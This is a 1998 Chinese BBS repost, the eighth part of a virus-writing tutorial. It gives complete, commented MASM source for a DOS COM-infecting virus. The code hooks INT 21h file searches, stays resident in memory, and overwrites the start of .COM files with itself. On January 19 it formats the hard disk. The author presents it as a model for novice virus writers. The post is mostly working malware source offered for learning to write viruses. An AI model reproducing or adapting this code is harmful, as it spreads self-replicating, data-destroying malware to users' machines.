荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: Mill (我会忘记), 信区: Virus
标  题: 病毒教程八
发信站: BBS 荔园晨风站 (Sun Oct 25 15:47:20 1998), 站内信件

发信人: cynicism (文月), 信区: Virus
标  题: 病毒教程八--一个可以称得上真正COM型的病毒例子详解
发信站: 龙门客栈 (Thu May 14 19:16:17 1998), 转信

Comment~
我编写的第一个病毒,当然我没有拿出去感染。(这是很重要的:))
这个病毒的历史应该有五年之久了,所以编写地水平应该说是很低
我把它保持原样,作为一个纪念,也作为病毒新手的一个范例。
这个病毒通过截获Int 21H的11H,12H子功能进行感染,11h,12h是
FCB方式的Findfirst,findnext
同时截获4E,4F(FINDFIRST,FINDNEXT)感染
病毒发作于1月19日,发作方式为格式化硬盘
(但是好象当年编写错了,不能破坏现在的微机:))
病毒的感染方法是将COM文件的前面的一段(长度为病毒的长度)挪至末尾,
然后把病毒本身覆盖于宿主前面
所有注释都是为大家新加的,我写ASM以前没有注释的习惯
请在MASM5下编译
~
;Include   stdio.h ;中间包括pmain,pend,retms
retms macro
      mov ax,4c00h
      Int 21h
Endm

pmain macro

code segment
assume cs:code,ds:code
org 100h
start:

endM

pend macro

code ends
     end start

endM

theSize   equ  offset endit-100h  ;病毒的长度=最后的偏移减去PSP的长度
addnum    equ  thesize+200
wpt       equ  word ptr
bpt       equ  byte ptr
filebufofs equ offset endit + 100
Stackofs  equ  offset endit

GetDta  macro                     ;这个Macro得到DTA的指针
     mov  ah,2fh
     int  21h                     ;FCB方式的很多东西都保存在DTA中间。
     push es
     pop  ds
     push bx
     pop  si
EndM
pushAll  macro                         ;保存寄存器的MACRO
     Irp  reg,<AX,BX,CX,DX,DS,ES,SI,DI,BP>
          PUSH REG
     ENDM
ENDM
POPALL  MACRO                          ;恢复寄存器的MACRO
     iRP  REG,<BP,DI,SI,ES,DS,DX,CX,BX,AX>
          POP REG
     ENDM
ENDM

;如果大家想省点空间,使用.286 ,把这两个Macro改成Pusha & Popa

Dta  Struc   ;Data transfer Area的结构,对于感染而言可以得到文件名
     reServed  db  21 dup(?)
     Attr      db  ?
     Time      dw  ?
     Date      dw  ?
     fileSize  dd  ?
     filename  db  13 dup (?)
     FreeName  db  ?,?,?
Dta  ends

pmain
     Jmp  begin
     thebegin dw offset endit
begin:
     mov  ax,0ffeeh                    ;这是我的病毒驻留标志判断
     int  21h
     cmp  ax,0eeffh                    ;返回为0EEFF表示已经驻留

     je   installed
     mov  cs:ShowFlag,-1
     mov  ah,2ah                       ;看看当前日期
     int  21h
     cmp  dl,19                        ;19号?
     jne  next
     cmp  dh,1                         ;1月?
     jne  NotFormatHdisk
     mov  cs:ShowFlag,0
NotFormatHdisk:
     Call Show                         ;惨了,我要格式化硬盘了
Next:
     xor  ax,ax
     mov  es,ax
     mov  ax,es:[21h*4+2]
     mov  bx,es:[21h*4]
     mov  wpt cs:old21+2,ax
     mov  wpt cs:old21,bx              ;保存老的INT 21H的中断向量
     call getaddress                   ;把病毒代码移动到高端
     mov  ax,cs:addr
     mov  bx,offset int21h
     cli
     xor  cx,cx
     mov  es,cx
     mov  es:[21h*4],bx
     mov  es:[21h*4+2],ax              ;把INT 21H的控制权交给病毒
     sti
installed:

     mov  ax,cs
     mov  ds,ax
     mov  es,ax
     mov  si,thebegin
     mov  di,100h
     mov  cx,thesize                  ;恢复100H开始处被破坏的指令
     cld
     rep  movsb
     jmp  Start                       ;跳转回100H,转宿主执行
                                      ;注意:可能应该Push cs,
                                      ;Mov ax,100h,Push ax,retf
DtaSave   Dta  <>                     ;保存DTA的缓冲区
addr      dw   ?
Flag      db   0
SaveSS    dw   ?
SaveSP    dw   ?
dtaSize   equ  43                     ;Dta的大小为43个字节
Handle    dw   ?                      ;将来用到的文件Handle
NextFlag  db ?

getaddress   proc  near               ;病毒驻留模块
     mov  ax,cs
     dec  ax
     mov  es,ax          ;得到MCB (Memory Control Block)的段值
     mov  ax,es:[3]                       ;得到MCB的块大小
     mov  bx,offset  endit                ;
     add  bx,addnum                       ;
     add  bx,15                           ;
     mov  cl,4                            ;
     shr  bx,cl                           ;
     sub  ax,bx         ;把MCB的块大小减少(病毒的长度*2 + 200)
     mov  es:[3],ax     ;这样留出的空间给病毒程序和病毒读写的文件缓冲
     mov  bx,cs
     add  ax,bx
     mov  cs:addr,ax
     mov  es,ax         ;得到病毒驻留空间的段值
     xor  si,si
     xor  di,di
     push cs
     pop  ds
     mov  cx,offset  endit
     cld
     rep  movsb         ;把病毒代码移到留出的空间位置
     ret
getaddress endp
     old21 dd ?
int24h    proc  far
     mov  al,0
     mov  cs:Flag24h,-1    ;防止出现严重错误
     Iret
     Flag24h db 0          ;例如出现感染写保护出现的提示
int24h    endp
CH24h     proc  near       ;替换INT 24H
     xor  ax,ax
     mov  es,ax
     mov  ax,es:[24h*4]
     mov  bx,es:[24h*4+2]
     mov  wpt cs:old24,ax
     mov  wpt cs:old24+2,bx
     mov  bx,cs
     mov  ax,offset int24h
     mov  es:[24h*4],ax
     mov  es:[24h*4+2],bx
     ret
Ch24h     endp
Res24     proc  near       ;还原INT 24H
     xor  ax,ax
     mov  es,ax
     mov  ax,wpt cs:old24
     mov  bx,wpt cs:old24+2
     mov  es:[24h*4],ax
     mov  es:[24h*4+2],bx
     ret
Res24     endp
          old24 dd ?
int21h    proc  far        ;感染监控核心部分,INT 21H处理
     sti
     cmp  ax,0ffeeh        ;病毒驻留标志
     jne  next21h
     mov  ax,0eeffh        ;返回已经驻留
     Iret
next21h:
     cmp  ah,4fh           ;是FindNext吗?
     je   findnext
     cmp  ah,12h           ;是FCB方式的FindNext吗?
     jne  outInt21h
     mov  bpt cs:NextFlag,0 ;NextFlag=0表示为FCB FindNext
     Jmp  FindNext1
outInt21h:

     jmp  cs:old21
findnext:
     mov  cs:NextFlag,1 ;NextFlag=1表示为4F FinddNext
findnext1:
     mov  cs:Flag24h,0        ;
     mov  cs:SaveSS,ss
     pushAll
     mov  cs:SaveSP,SP  ;保存SS,SP,然后切换堆栈
     mov  ds,cs:SaveSS  ;保证DOS重入成功
     mov  si,sp
     mov  ax,cs
     mov  es,ax
     mov  di,StackOfs
     cld
     mov  cx,50
     rep  movsw         ;保存50个字的堆栈,我的TSR经常使用
     mov  ax,cs
     mov  ss,ax
     mov  sp,100h       ;切换堆栈
     GetDTA      ;DS:SI --> DTA adress ;得到DTA的指针
     push cs
     pop  es
     mov  di,offset DTASave
     mov  cx,DTASize
     cld
     rep  movsb         ;保存起DTA的数据
     call ch24h         ;修改INT24H,保障不出严重错误
     cmp  bpt cs:NextFlag,1 ;以4F方式的DTA为摸版
     je   NotCHangeDta

     call ChangeDta     ;如果是标准DTA方式扩展成扩展DTA
NotCHangeDta:
     call cmpifcomFile  ;判断当前查的文件是否COM文件
     cmp  al,0
     jne  Hasbeen

     Call cmpifbeen     ;是COM文件判断是否被感染
     cmp  al,0
     jne  Hasbeen
     cmp  cs:Flag24h,-1     ;出现严重错误,放弃感染
     je   HasBeen           ;
     Call dofile        ;否则感染之
Hasbeen:
     call Res24         ;恢复INT24H
     cli
     push cs
     pop  ds
     mov  es,cs:SaveSS
     mov  si,StackOfs
     mov  di,cs:SaveSP
     cld
     mov  cx,50
     rep  movsw         ;恢复堆栈
     mov  ss,cs:SaveSS
     mov  Sp,cs:SaveSp  ;恢复堆栈寄存器
     sti
     PopAll
     Jmp  cs:old21      ;转原INT 21H处理程序
Int21h endp

Cmpifcomfile  proc  near

     mov  si,offset DtaSave.filename
LoopCMp:
     cmp  bpt cs:[si],0
     je   OutCmp
     inc  si
     jmp  loopCmp
Outcmp:
     cmp  bpt cs:[si-1],'M'
     jne  notComfile
     cmp  bpt cs:[si-2],'O'
     jne  notComfile
     cmp  bpt cs:[si-3],'C'
     jne  notComfile
     cmp  bpt cs:[si-4],'.'      ;比较文件扩展名是否为.COM
     jne  notComfile
     mov  al,0
     ret
notComfile:
     mov  al,-1
     ret
Cmpifcomfile endp
cmpifbeen proc  near     ;看是否已经被感染
     push cs
     pop  ds
     mov  dx,offset DtaSave.filename
     mov  ax,3d00h
     int  21h
     jc   been
     mov  cs:handle,ax
     mov  ah,3fh
     mov  bx,cs:handle
     mov  cx,2
     mov  dx,FILEBUFOFS
     int  21h
     mov  ah,3eh
     mov  bx,cs:handle
     int  21h
     mov  si,100h
     mov  ax,ds:[si]
     mov  si,FIleBufOfs
     mov  bx,ds:[si]
     cmp  ax,bx         ;判断感染标志,(最前两字节)
     je   Been
     mov  al,0
     ret
been:mov  al,-1
     ret
cmpifbeen endp


Dofile  proc near          ;病毒感染模块,文件处理过程。
     mov  ax,4300h
     push cs
     pop  ds
     mov  dx,offset   DtaSave.filename
     int  21h
     and  cl,100111b
     mov  DtaSave.attr,cl
     and  cl,100b
     jnz  Out1        ;Sys file
     mov  ax,4301h
     mov  dx,offset   DTASave.filename
     mov  cx,0        ;清除文件属性
     int  21h
     jnc  replaceOk
Out1:
     Ret
ReplaceOk:
     cmp  cs:Flag24h,-1    ;
     je   Out1             ;
     mov  ax,3d02h         ;读写方式打开文件
     int  21h
     jc   Out1
     mov  cs:handle,ax
     mov  ah,3fh
     mov  bx,cs:handle
     mov  cx,thesize
     push cs
     pop  ds
     mov  dx,filebufOfs
     int  21h              ;将最前一段(大小为病毒大小)
     jnc  condowrite       ;读出来
     mov  Dx,offset DtaSave.filename
     mov  Cl,cs:dtaSave.Attr
     xor  ch,ch
     mov  Ax,4301h         ;恢复文件属性
     int  21h
     Ret
Condowrite:
     mov  ax,4202h
     mov  bx,cs:handle
     xor  cx,cx
     xor  dx,dx
     int  21h              ;移动文件指针到最后
     add  ax,100h
     mov  cs:thebegin,ax
     mov  dx,fileBufofs
     mov  cx,theSize
     mov  bx,cs:handle
     mov  ah,40h
     int  21h              ;把保存的宿主前面的代码写到
     mov  ax,4200h         ;文件末尾
     xor  cx,cx
     xor  dx,dx
     mov  bx,cs:handle
     int  21h              ;移动文件指针到最前
     mov  dx,100h
     mov  ah,40h
     mov  cx,theSize
     mov  bx,cs:handle
     int  21h              ;把病毒体写入文件开头处
     mov  ah,3eh
     mov  bx,cs:handle
     int  21h              ;关闭文件
     mov  dx,offset DtaSave.filename
     xor  ch,ch
     mov  cl,cs:DtaSave.Attr
     mov  ax,4301h
     int  21h              ;恢复文件属性
     mov  al,0
     ret
Dofile endp
CHangeDta  proc  near      ;由于4F和12H方式DTA有差别
     mov   ah,cs:DtaSave.reserved+7
     cmp   ah,0            ;为了同等对待
     jne   NotCur          ;把12H方式的DTA格式按
                           ;4FH方式转换

                           ;两种DTA方式的DTA格式请
                           ;参考我的HELPSTAR中的说明
     push  cs
     pop   ds
     mov   ah,19h
     int   21h
     mov   ah,al
     Inc   ah
NotCur:
     add   ah,'A'-1
     mov   cs:DtaSave.filename,ah
     mov   ah,':'
     mov   cs:dtaSave.filename+1,ah
     push  cs
     pop   ds
     mov   si,offset DtaSave+1+7
     push  cs
     pop   es
     mov   di,offset DtaSave.filename+2
     mov   cx,8
     cld
LoopCh:
     lodsb
     cmp   al,' '
     je    outLoopCh
     dec   si
     movsb
     loop  loopCh
outLoopCh:
     mov   al,'.'
     mov   es:[di],al
     inc   di
     mov   si,offset DtaSave+9+7
     mov   cx,3
LoopCh1:
     lodsb
     cmp   al,' '
     je    outLoopCh1
     dec   si
     movsb
     loop  loopCh1
outLoopCh1:
     xor   ah,ah
     mov   es:[di],ah
     mov   cs:dtaSave.Attr,ah
     Ret
CHangeDta  endp
Show Proc  near                  ;病毒发作模块
     push  cs
     pop   ds
     mov   Dx,offset ShowMsg
     mov   ah,9
     int   21h                   ;提示信息
     Call  Form                  ;格式化程序
     Ret
Show endp
     ShowMsg  db 07h,'My dear XLM:',0ah,0dh

              db '      Happy birthday and happy a new year !',0ah,0dh,0ah,0dh
              db '                 Yours LEM  .',0ah,0dh
              db 0ah,0dh,'$'
     ShowFlag db -1
Form proc near
     jmp  Star_1
     format_msg  db 0,0,0,2  ;0-39,0-1,0-8
                 db 0,1,1,2
                 db 0,0,2,2
                 db 0,1,3,2
                 db 0,0,4,2
                 db 0,1,5,2
                 db 0,0,6,2
                 db 0,1,7,2
                 db 0,0,8,2
     star_1:
     mov    ax,cs
     mov    es,ax
     mov    ds,ax
     mov    bx,offset format_msg
     mov    ah,5
     mov    al,0ffh
     mov    dl,80h
     mov    dh,0
     mov    cx,0
     PushF
     db     9ah             ;Call AbsInt13Adr
     dd     0f000CC78h      ;INT 13的绝对地址
     Ret                    ;去掉Ret则自动重启动
     db     0EAH
     dd     0F000FFF0h      ;重新启动
Form endp
Endit:
     retms                  ;返回DOS,对于第一次感染有用
pend



--
欢迎访问http://wenyue.yeah.net
提供最新软件下载,常用网络资源,序列号联结列表,免费杀毒等服务
欢迎到病毒区灌水

m;31m※ 来源:.龙门客栈 bbs.szonline.net.[FROM: ppp150.hk.ha.cn]m
--
m;36m※ 转寄:.龙门客栈 bbs.szonline.net.[FROM: 202.96.191.124]m

--
                         ┏━━━━━━━━━━━━━┯┓
                         ┃ 弃我去者,昨日之日不可留, ╚┫
                         ┃ 乱我心者,今日之日多烦忧.   ┃
                         ┗━━━━━━━━━━━━━━┛
 取下天上的月亮后,我拿给你
 Email: s7110109@szu.edu.cn  Macrobird

※ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: 192.168.0.167]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店